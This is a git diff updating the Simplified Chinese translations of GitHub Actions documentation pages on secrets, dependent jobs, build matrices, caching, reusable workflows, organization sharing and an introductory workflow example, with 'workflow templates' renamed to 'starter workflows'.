-shortTitle: Learn GitHub Actions
-intro: 'Whether you are new to {% data variables.product.prodname_actions %} or interested in learning all they have to offer, this guide will help you use {% data variables.product.prodname_actions %} to accelerate your application development workflows.'
+title: 了解 GitHub Actions
+shortTitle: 了解 GitHub Actions
+intro: '无论您是 {% data variables.product.prodname_actions %} 的新用户还是有兴趣学习他们提供的内容，本指南都可帮助您使用 {% data variables.product.prodname_actions %} 来加快应用程序开发工作流程。'
 redirect_from:
   - /articles/about-github-actions
   - /github/automating-your-workflow-with-github-actions/about-github-actions
@@ -34,8 +34,8 @@ children:
   - /essential-features-of-github-actions
   - /managing-complex-workflows
   - /sharing-workflows-secrets-and-runners-with-your-organization
-  - /creating-workflow-templates
-  - /using-workflow-templates
+  - /creating-starter-workflows-for-your-organization
+  - /using-starter-workflows
   - /reusing-workflows
   - /events-that-trigger-workflows
   - /expressions
diff --git a/translations/zh-CN/content/actions/learn-github-actions/managing-complex-workflows.md b/translations/zh-CN/content/actions/learn-github-actions/managing-complex-workflows.md
index e44a1d367c..4edcede4f9 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/managing-complex-workflows.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/managing-complex-workflows.md
@@ -1,7 +1,7 @@
 ---
-title: Managing complex workflows
-shortTitle: Managing complex workflows
-intro: 'This guide shows you how to use the advanced features of {% data variables.product.prodname_actions %}, with secret management, dependent jobs, caching, build matrices,{% ifversion fpt or ghes > 3.0 or ghae or ghec %} environments,{% endif %} and labels.'
+title: 管理复杂的工作流程
+shortTitle: 管理复杂的工作流程
+intro: '本指南说明如何使用 {% data variables.product.prodname_actions %} 的高级功能，包括机密管理、相关作业、缓存、生成矩阵、{% ifversion fpt or ghes > 3.0 or ghae or ghec %}环境{% endif %}和标签。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -15,15 +15,15 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概览
 
-This article describes some of the advanced features of {% data variables.product.prodname_actions %} that help you create more complex workflows.
+本文介绍了 {% data variables.product.prodname_actions %} 的一些高级功能，可帮助您创建更复杂的工作流程。
 
-## Storing secrets
+## 存储密码
 
-If your workflows use sensitive data, such as passwords or certificates, you can save these in {% data variables.product.prodname_dotcom %} as _secrets_ and then use them in your workflows as environment variables. This means that you will be able to create and share workflows without having to embed sensitive values directly in the YAML workflow.
+如果您的工作流程使用敏感数据，例如密码或证书， 您可以将这些信息在 {% data variables.product.prodname_dotcom %} 中保存为 _机密_，然后在工作流中将它们用作环境变量。 这意味着您将能够创建和共享工作流程，而无需直接在 YAML 工作流程中嵌入敏感值。
 
-This example action demonstrates how to reference an existing secret as an environment variable, and send it as a parameter to an example command.
+此示例操作演示如何将现有机密引用为环境变量，并将其作为参数发送到示例命令。
 
 {% raw %}
 ```yaml
@@ -39,13 +39,13 @@ jobs:
 ```
 {% endraw %}
 
-For more information, see "[Creating and storing encrypted secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)."
+更多信息请参阅“[创建和存储加密密码](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)”。
 
-## Creating dependent jobs
+## 创建依赖的作业
 
-By default, the jobs in your workflow all run in parallel at the same time. So if you have a job that must only run after another job has completed, you can use the `needs` keyword to create this dependency. If one of the jobs fails, all dependent jobs are skipped; however, if you need the jobs to continue, you can define this using the [`if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif) conditional statement.
+默认情况下，工作流程中的作业同时并行运行。 因此，如果您有一个作业必须在另一个作业完成后运行，可以使用 `needs` 关键字来创建此依赖项。 如果其中一个作业失败，则跳过所有从属作业；但如果您需要作业继续，可以使用条件语句 [`if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif) 来定义。
 
-In this example, the `setup`, `build`, and `test` jobs run in series, with `build` and `test` being dependent on the successful completion of the job that precedes them:
+在此示例中，`setup`、`build` 和 `test` 作业连续运行，`build` 和 `test` 取决于其前面的作业成功完成：
 
 ```yaml
 jobs:
@@ -65,11 +65,11 @@ jobs:
       - run: ./test_server.sh
 ```
 
-For more information, see [`jobs.<job_id>.needs`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds).
+更多信息请参阅 [`jobs.<job_id>.needs`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)。
 
-## Using a build matrix
+## 使用构建矩阵
 
-You can use a build matrix if you want your workflow to run tests across multiple combinations of operating systems, platforms, and languages. The build matrix is created using the `strategy` keyword, which receives the build options as an array. For example, this build matrix will run the job multiple times, using different versions of Node.js:
+如果您希望工作流程跨操作系统、平台和语言的多个组合运行测试，可以使用构建矩阵。 构建矩阵是使用 `strategy` 关键字创建的，它接收构建选项作为数组。 例如，此构建矩阵将使用不同版本的 Node.js 多次运行作业：
 
 {% raw %}
 ```yaml
@@ -86,14 +86,14 @@ jobs:
 ```
 {% endraw %}
 
-For more information, see [`jobs.<job_id>.strategy.matrix`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix).
+更多信息请参阅 [`jobs.<job_id>.strategy.matrix`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)。
 
 {% ifversion fpt or ghec %}
-## Caching dependencies
+## 缓存依赖项
 
-{% data variables.product.prodname_dotcom %}-hosted runners are started as fresh environments for each job, so if your jobs regularly reuse dependencies, you can consider caching these files to help improve performance. Once the cache is created, it is available to all workflows in the same repository.
+{% data variables.product.prodname_dotcom %} 托管的运行器启动为每个作业的新环境，如果您的作业定期重复使用依赖项，您可以考虑缓存这些文件以帮助提高性能。 缓存一旦创建，就可用于同一仓库中的所有工作流程。
 
-This example demonstrates how to cache the ` ~/.npm` directory:
+此示例演示如何缓存 `~/.npm` 目录：
 
 {% raw %}
 ```yaml
@@ -112,12 +112,12 @@ jobs:
 ```
 {% endraw %}
 
-For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+更多信息请参阅“<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">缓存依赖项以加快工作流程</a>”。
 {% endif %}
 
-## Using databases and service containers
+## 使用数据库和服务容器
 
-If your job requires a database or cache service, you can use the [`services`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idservices) keyword to create an ephemeral container to host the service; the resulting container is then available to all steps in that job and is removed when the job has completed. This example demonstrates how a job can use `services` to create a `postgres` container, and then use `node` to connect to the service.
+如果作业需要数据库或缓存服务，可以使用 [`services`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idservices) 关键字创建临时容器来托管服务；生成的容器然后可用于该作业中的所有步骤，并在作业完成后删除。 此示例演示作业如何使用 `services` 创建 `postgres` 容器，然后使用 `node` 连接到服务。
 
 ```yaml
 jobs:
@@ -139,13 +139,13 @@ jobs:
           POSTGRES_PORT: 5432
 ```
 
-For more information, see "[Using databases and service containers](/actions/configuring-and-managing-workflows/using-databases-and-service-containers)."
+更多信息请参阅“[使用数据库和服务容器](/actions/configuring-and-managing-workflows/using-databases-and-service-containers)”。
 
-## Using labels to route workflows
+## 使用标签路由工作流程
 
-This feature helps you assign jobs to a specific hosted runner. If you want to be sure that a particular type of runner will process your job, you can use labels to control where jobs are executed. You can assign labels to a self-hosted runner in addition to their default label of `self-hosted`. Then, you can refer to these labels in your YAML workflow, ensuring that the job is routed in a predictable way.{% ifversion not ghae %} {% data variables.product.prodname_dotcom %}-hosted runners have predefined labels assigned.{% endif %}
+此功能可帮助您将作业分配到特定的托管运行器。 如果要确保特定类型的运行器处理作业，可以使用标签来控制作业的执行位置。 除了 `self-hosted` 的默认标签之外，您还可以向自托管运行器分配标签。 然后，您可以在 YAML 工作流程中引用这些标签，确保以可预测的方式安排作业。{% ifversion not ghae %} {% data variables.product.prodname_dotcom %} 托管的运行器已指定预定义的标签。{% endif %}
 
-This example shows how a workflow can use labels to specify the required runner:
+此示例显示工作流程如何使用标签来指定所需的运行器：
 
 ```yaml
 jobs:
@@ -153,34 +153,33 @@ jobs:
     runs-on: [self-hosted, linux, x64, gpu]
 ```
 
-A workflow will only run on a runner that has all the labels in the `runs-on` array. The job will preferentially go to an idle self-hosted runner with the specified labels. If none are available and a {% data variables.product.prodname_dotcom %}-hosted runner with the specified labels exists, the job will go to a {% data variables.product.prodname_dotcom %}-hosted runner.
+工作流程只能在一个所有标签处于 `runs-on` 数组中的运行器上运行。 作业将优先转到具有指定标签的空闲自托管运行器。 如果没有可用且具有指定标签的 {% data variables.product.prodname_dotcom %} 托管运行器存在，作业将转到 {% data variables.product.prodname_dotcom %} 托管的运行器。
 
-To learn more about self-hosted runner labels, see ["Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)."
+要了解自托管运行器标签的更多信息，请参阅“[将标签与自托管运行器一起使用](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)”。
 
 {% ifversion fpt or ghes %}
-To learn more about {% data variables.product.prodname_dotcom %}-hosted runner labels, see ["Supported runners and hardware resources"](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources).
+要详细了解
+{% data variables.product.prodname_dotcom %} 托管的运行器标签，请参阅[“支持的运行器和硬件资源”](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources)。
 {% endif %}
 
 {% data reusables.actions.reusable-workflows %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 
-## Using environments
+## 使用环境
 
-You can configure environments with protection rules and secrets. Each job in a workflow can reference a single environment. Any protection rules configured for the environment must pass before a job referencing the environment is sent to a runner. For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
+您可以使用保护规则和机密配置环境。 工作流程中的每个作业都可以引用单个环境。 在将引用环境的作业发送到运行器之前，必须通过为环境配置的任何保护规则。 更多信息请参阅“[使用环境进行部署](/actions/deployment/using-environments-for-deployment)”。
 {% endif %}
 
-## Using a workflow template
+## Using starter workflows
 
 {% data reusables.actions.workflow-template-overview %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. If your repository already has existing workflows: In the upper-left corner, click **New workflow**.
-  ![Create a new workflow](/assets/images/help/repository/actions-new-workflow.png)
-1. Under the name of the template you'd like to use, click **Set up this workflow**.
-  ![Set up this workflow](/assets/images/help/settings/actions-create-starter-workflow.png)
+1. 如果您的仓库已经有工作流程：在左上角单击 **New workflow（新工作流程）**。 ![创建新工作流程](/assets/images/help/repository/actions-new-workflow.png)
+1. Under the name of the starter workflow you'd like to use, click **Set up this workflow**. ![设置此工作流程](/assets/images/help/settings/actions-create-starter-workflow.png)
 
-## Next steps
+## 后续步骤
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Sharing workflows, secrets, and runners with your organization](/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization)."
+要继续了解 {% data variables.product.prodname_actions %}，请参阅“[与组织共享工作流程、秘密和运行器](/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization)”。
diff --git a/translations/zh-CN/content/actions/learn-github-actions/reusing-workflows.md b/translations/zh-CN/content/actions/learn-github-actions/reusing-workflows.md
index 9bf5bb7bdf..6eeb3fef5b 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/reusing-workflows.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/reusing-workflows.md
@@ -16,7 +16,7 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概览
 
 Rather than copying and pasting from one workflow to another, you can make workflows reusable. You and anyone with access to the reusable workflow can then call the reusable workflow from another workflow.
 
@@ -32,11 +32,11 @@ If you reuse a workflow from a different repository, any actions in the called w
 
 When a reusable workflow is triggered by a caller workflow, the `github` context is always associated with the caller workflow. The called workflow is automatically granted access to `github.token` and `secrets.GITHUB_TOKEN`. For more information about the `github` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)."
 
-### Reusable workflows and workflow templates
+### Reusable workflows and starter workflow
 
-Workflow templates allow everyone in your organization who has permission to create workflows to do so more quickly and easily. When people create a new workflow, they can choose a template and some or all of the work of writing the workflow will be done for them. Inside workflow templates, you can also reference reusable workflows to make it easy for people to benefit from reusing centrally managed workflow code. If you use a tag or branch name when referencing the reusable workflow then you can ensure that everyone who reuses that workflow will always be using the same YAML code. However, if you reference a reusable workflow by a tag or branch, be sure that you can trust that version of the workflow. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#reusing-third-party-workflows)."
+Starter workflow allow everyone in your organization who has permission to create workflows to do so more quickly and easily. When people create a new workflow, they can choose a starter workflow and some or all of the work of writing the workflow will be done for them. Inside starter workflow, you can also reference reusable workflows to make it easy for people to benefit from reusing centrally managed workflow code. If you use a tag or branch name when referencing the reusable workflow then you can ensure that everyone who reuses that workflow will always be using the same YAML code. However, if you reference a reusable workflow by a tag or branch, be sure that you can trust that version of the workflow. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#reusing-third-party-workflows)."
 
-For more information, see "[Creating workflow templates](/actions/learn-github-actions/creating-workflow-templates)."
+For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
 
 ## Access to reusable workflows
 
@@ -44,15 +44,15 @@ A reusable workflow can be used by another workflow if {% ifversion ghes or ghec
 
 * Both workflows are in the same repository.
 * The called workflow is stored in a public repository.{% ifversion ghes or ghec or ghae %}
-* The called workflow is stored in an internal repository and the settings for that repository allow it to be accessed. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository)."{% endif %}
+* The called workflow is stored in an internal repository and the settings for that repository allow it to be accessed. 更多信息请参阅“[管理仓库的 {% data variables.product.prodname_actions %} 设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository)”。{% endif %}
 
 ## Using runners
 
 {% ifversion fpt or ghes or ghec %}
 
-### Using GitHub-hosted runners
+### 使用 GitHub 托管的运行器
 
-The assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. Billing for {% data variables.product.prodname_dotcom %}-hosted runners is always associated with the caller. The caller workflow cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."
+The assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. Billing for {% data variables.product.prodname_dotcom %}-hosted runners is always associated with the caller. The caller workflow cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. 更多信息请参阅“[关于 {% data variables.product.prodname_dotcom %} 托管的运行器](/actions/using-github-hosted-runners/about-github-hosted-runners)”。
 
 ### Using self-hosted runners
 
@@ -62,7 +62,7 @@ Called workflows can access self-hosted runners from caller's context. This mean
 * In the caller repository
 * In the caller repository's organization{% ifversion ghes or ghec or ghae %} or enterprise{% endif %}, provided that the runner has been made available to the caller repository
 
-## Limitations
+## 限制
 
 * Reusable workflows can't call other reusable workflows.
 * Reusable workflows stored within a private repository can only be used by workflows within the same repository.
@@ -118,7 +118,7 @@ You can define inputs and secrets, which can be passed from the caller workflow
 
    {% note %}
 
-   **Note**: Environment secrets are encrypted strings that are stored in an environment that you've defined for a repository. Environment secrets are only available to workflow jobs that reference the appropriate environment. For more information, see "[Using environments for deployment](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)."
+   **Note**: Environment secrets are encrypted strings that are stored in an environment that you've defined for a repository. Environment secrets are only available to workflow jobs that reference the appropriate environment. 更多信息请参阅“[使用环境进行部署](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)”。
 
    {% endnote %}
 
@@ -190,9 +190,9 @@ When you call a reusable workflow, you can only use the following keywords in th
 
    {% note %}
 
-   **Note:**
+   **注:**
 
-   * If `jobs.<job_id>.permissions` is not specified in the calling job, the called workflow will have the default permissions for the `GITHUB_TOKEN`. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
+   * If `jobs.<job_id>.permissions` is not specified in the calling job, the called workflow will have the default permissions for the `GITHUB_TOKEN`. 更多信息请参阅“[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)。
    * The `GITHUB_TOKEN` permissions passed from the caller workflow can be only downgraded (not elevated) by the called workflow.
 
    {% endnote %}
@@ -299,6 +299,6 @@ For information about using the REST API to query the audit log for an organizat
 
 {% endnote %}
 
-## Next steps
+## 后续步骤
 
 To continue learning about {% data variables.product.prodname_actions %}, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows)."
diff --git a/translations/zh-CN/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md b/translations/zh-CN/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
index f48ee6acd8..5dca838d64 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
@@ -1,7 +1,7 @@
 ---
 title: 'Sharing workflows, secrets, and runners with your organization'
-shortTitle: Sharing workflows with your organization
-intro: 'Learn how you can use organization features to collaborate with your team, by sharing workflow templates, secrets, and self-hosted runners.'
+shortTitle: 与组织共享工作流程
+intro: 'Learn how you can use organization features to collaborate with your team, by sharing starter workflow, secrets, and self-hosted runners.'
 redirect_from:
   - /actions/learn-github-actions/sharing-workflows-with-your-organization
 versions:
@@ -15,40 +15,40 @@ type: how_to
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概览
 
-If you need to share workflows and other {% data variables.product.prodname_actions %} features with your team, then consider collaborating within a {% data variables.product.prodname_dotcom %} organization. An organization allows you to centrally store and manage secrets, artifacts, and self-hosted runners. You can also create workflow templates in the `.github` repository and share them with other users in your organization.
+如果需要与您的团队共享工作流程和其他 {% data variables.product.prodname_actions %} 功能，则考虑在 {% data variables.product.prodname_dotcom %} 组织内协作。 组织允许您集中存储和管理机密、构件和自托管运行器。 You can also create starter workflow in the `.github` repository and share them with other users in your organization.
 
-## Using workflow templates
+## Using starter workflows
 
-{% data reusables.actions.workflow-organization-templates %} For more information, see "[Creating workflow templates](/actions/learn-github-actions/creating-workflow-templates)."
+{% data reusables.actions.workflow-organization-templates %} For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
 
 {% data reusables.actions.reusable-workflows %}
 
-## Sharing secrets within an organization
+## 在组织内共享机密
 
-You can centrally manage your secrets within an organization, and then make them available to selected repositories. This also means that you can update a secret in one location, and have the change apply to all repository workflows that use the secret.
+您可以在组织内集中管理您的机密，然后将其提供给选定的仓库。 这也意味着您可以在一个位置更新机密，并且将更改应用于使用该机密的所有仓库工作流程。
 
-When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
+在组织中创建密码时，可以使用策略来限制可以访问该密码的仓库。 例如，您可以将访问权限授予所有仓库，也可以限制仅私有仓库或指定的仓库列表拥有访问权限。
 
 {% data reusables.github-actions.permissions-statement-secrets-organization %}
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. Click **New secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the **Value** for your secret.
-1. From the **Repository access** dropdown list, choose an access policy.
-1. Click **Add secret**.
+1. 单击 **New secret（新建密码）**。
+1. 在 **Name（名称）**输入框中键入密码的名称。
+1. 输入密码的 **Value（值）**。
+1. 从 **Repository access（仓库访问权限）**下拉列表，选择访问策略。
+1. 单击 **Add secret（添加密码）**。
 
-## Share self-hosted runners within an organization
+## 在组织内共享自托管运行器
 
-Organization admins can add their self-hosted runners to groups, and then create policies that control which repositories can access the group.
+组织管理员可以将其自托管的运行器添加到组，然后创建控制哪些仓库可访问该组的策略。
 
-For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+更多信息请参阅“[使用组管理对自托管运行器的访问](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)”。
 
 
-## Next steps
+## 后续步骤
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Creating workflow templates](/actions/learn-github-actions/creating-workflow-templates)."
+To continue learning about {% data variables.product.prodname_actions %}, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
diff --git a/translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md b/translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md
index 6e69efdfbc..a70e698435 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md
@@ -20,21 +20,21 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概览
 
 {% data reusables.actions.about-actions %}  You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production.
 
 {% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository.
 
-{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure.  
+{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure.
 
-## The components of {% data variables.product.prodname_actions %}
+## {% data variables.product.prodname_actions %} 的组件
 
 You can configure a {% data variables.product.prodname_actions %} _workflow_ to be triggered when an _event_ occurs in your repository, such as a pull request being opened or an issue being created.  Your workflow contains one or more _jobs_ which can run in sequential order or in parallel.  Each job will run inside its own virtual machine _runner_, or inside a container, and has one or more _steps_ that either run a script that you define or run an _action_, which is a reusable extension that can simplify your workflow.
 
-![Workflow overview](/assets/images/help/images/overview-actions-simple.png)
+![工作流程概述](/assets/images/help/images/overview-actions-simple.png)
 
-### Workflows
+### 工作流程
 
 A workflow is a configurable automated process that will run one or more jobs.  Workflows are defined by a YAML file checked in to your repository and will run when triggered by an event in your repository, or they can be triggered manually, or at a defined schedule.
 
@@ -42,11 +42,11 @@ Your repository can have multiple workflows in a repository, each of which can p
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %}
 
-### Events
+### 事件
 
 An event is a specific activity in a repository that triggers a workflow run. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository.  You can also trigger a workflow run on a schedule, by [posting to a REST API](/rest/reference/repos#create-a-repository-dispatch-event), or manually.
 
-For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows).
+有关可用于触发工作流程的事件的完整列表，请参阅[触发工作流程的事件](/actions/reference/events-that-trigger-workflows)。
 
 ### Jobs
 
@@ -54,24 +54,24 @@ A job is a set of _steps_ in a workflow that execute on the same runner.  Each s
 
 You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel with each other.  When a job takes a dependency on another job, it will wait for the dependent job to complete before it can run.  For example, you may have multiple build jobs for different architectures that have no dependencies, and a packaging job that is dependent on those jobs.  The build jobs will run in parallel, and when they have all completed successfully, the packaging job will run.
 
-### Actions
+### 操作
 
 An _action_ is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task.  Use an action to help reduce the amount of repetitive code that you write in your workflow files.  An action can pull your git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider.
 
 You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}.
 
-### Runners
+### 运行器
 
 {% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% ifversion ghes or ghae %} You must host your own runners for {% data variables.product.product_name %}. {% elsif fpt or ghec %}{% data variables.product.company_short %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. If you need a different operating system or require a specific hardware configuration, you can host your own runners.{% endif %} For more information{% ifversion fpt or ghec %} about self-hosted runners{% endif %}, see "[Hosting your own runners](/actions/hosting-your-own-runners)."
 
-## Create an example workflow
+## 创建示例工作流程
 
 {% data variables.product.prodname_actions %} uses YAML syntax to define the workflow.  Each workflow is stored as a separate YAML file in your code repository, in a directory called `.github/workflows`.
 
-You can create an example workflow in your repository that automatically triggers a series of commands whenever code is pushed. In this workflow, {% data variables.product.prodname_actions %} checks out the pushed code, installs the software dependencies, and runs `bats -v`.
+您可以在仓库中创建示例工作流程，只要推送代码，该工作流程就会自动触发一系列命令。 在此工作流程中，{% data variables.product.prodname_actions %} 检出推送的代码，安装软件依赖项，并运行 `-v`。
 
-1. In your repository, create the `.github/workflows/` directory to store your workflow files.
-1. In the `.github/workflows/` directory, create a new file called `learn-github-actions.yml` and add the following code.
+1. 在您的仓库中，创建 `.github/workflows/` 目录来存储工作流程文件。
+1. 在 `.github/workflows/` 目录中，创建一个名为 `learn-github-actions.yml` 的新文件并添加以下代码。
     ```yaml
     name: learn-github-actions
     on: [push]
@@ -86,13 +86,13 @@ You can create an example workflow in your repository that automatically trigger
           - run: npm install -g bats
           - run: bats -v
     ```
-1. Commit these changes and push them to your {% data variables.product.prodname_dotcom %} repository.
+1. 提交这些更改并将其推送到您的 {% data variables.product.prodname_dotcom %} 仓库。
 
-Your new {% data variables.product.prodname_actions %} workflow file is now installed in your repository and will run automatically each time someone pushes a change to the repository. For details about a job's execution history, see "[Viewing the workflow's activity](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)."
+您的新 {% data variables.product.prodname_actions %} 工作流程文件现在安装在您的仓库中，每次有人推送更改到仓库时都会自动运行。 有关作业的执行历史记录的详细信息，请参阅“[查看工作流程的活动](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)”。
 
-## Understanding the workflow file
+## 了解工作流程文件
 
-To help you understand how YAML syntax is used to create a workflow file, this section explains each line of the introduction's example:
+为帮助您了解如何使用 YAML 语法来创建工作流程文件，本节解释介绍示例的每一行：
 
 <table>
 <tr>
@@ -103,7 +103,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s
   ```
 </td>
 <td>
-  <em>Optional</em> - The name of the workflow as it will appear in the Actions tab of the {% data variables.product.prodname_dotcom %} repository.
+  <em>可选</em> - 将出现在 {% data variables.product.prodname_dotcom %} 仓库的 Actions（操作）选项卡中的工作流程名称。
 </td>
 </tr>
 <tr>
@@ -147,7 +147,7 @@ Defines a job named <code>check-bats-version</code>. The child keys will define
   ```
 </td>
 <td>
-  Configures the job to run on the latest version of an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see <a href="https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on">"Workflow syntax for {% data variables.product.prodname_actions %}."</a>
+  Configures the job to run on the latest version of an Ubuntu Linux runner. 这意味着该作业将在 GitHub 托管的新虚拟机上执行。 有关使用其他运行器的语法示例，请参阅<a href="https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on">“{% data variables.product.prodname_actions %} 的工作流程语法”</a>。
 </td>
 </tr>
 <tr>
@@ -158,7 +158,7 @@ Defines a job named <code>check-bats-version</code>. The child keys will define
   ```
 </td>
 <td>
-  Groups together all the steps that run in the <code>check-bats-version</code> job. Each item nested under this section is a separate action or shell script.
+  将 <code>check-bats-version</code> 作业中运行的所有步骤组合在一起。 Each item nested under this section is a separate action or shell script.
 </td>
 </tr>
 <tr>
@@ -193,7 +193,7 @@ The <code>uses</code> keyword specifies that this step will run <code>v2</code>
   ```
 </td>
 <td>
-  The <code>run</code> keyword tells the job to execute a command on the runner. In this case, you are using <code>npm</code> to install the <code>bats</code> software testing package.
+  <code>run</code> 关键字指示作业在运行器上执行命令。 在这种情况下，使用 <code>npm</code> 来安装 <code>bats</code> 软件测试包。
 </td>
 </tr>
 <tr>
@@ -204,46 +204,39 @@ The <code>uses</code> keyword specifies that this step will run <code>v2</code>
   ```
 </td>
 <td>
-  Finally, you'll run the <code>bats</code> command with a parameter that outputs the software version.
+  最后，您将运行 <code>bats</code> 命令，并且带有输出软件版本的参数。
 </td>
 </tr>
 </table>
 
-### Visualizing the workflow file
+### 可视化工作流程文件
 
-In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."
+在此关系图中，您可以看到刚刚创建的工作流程文件，以及 {% data variables.product.prodname_actions %} 组件在层次结构中的组织方式。 Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. 要查找更多为工作流预构建的操作，请参阅“[查找和自定义操作](/actions/learn-github-actions/finding-and-customizing-actions)”。
 
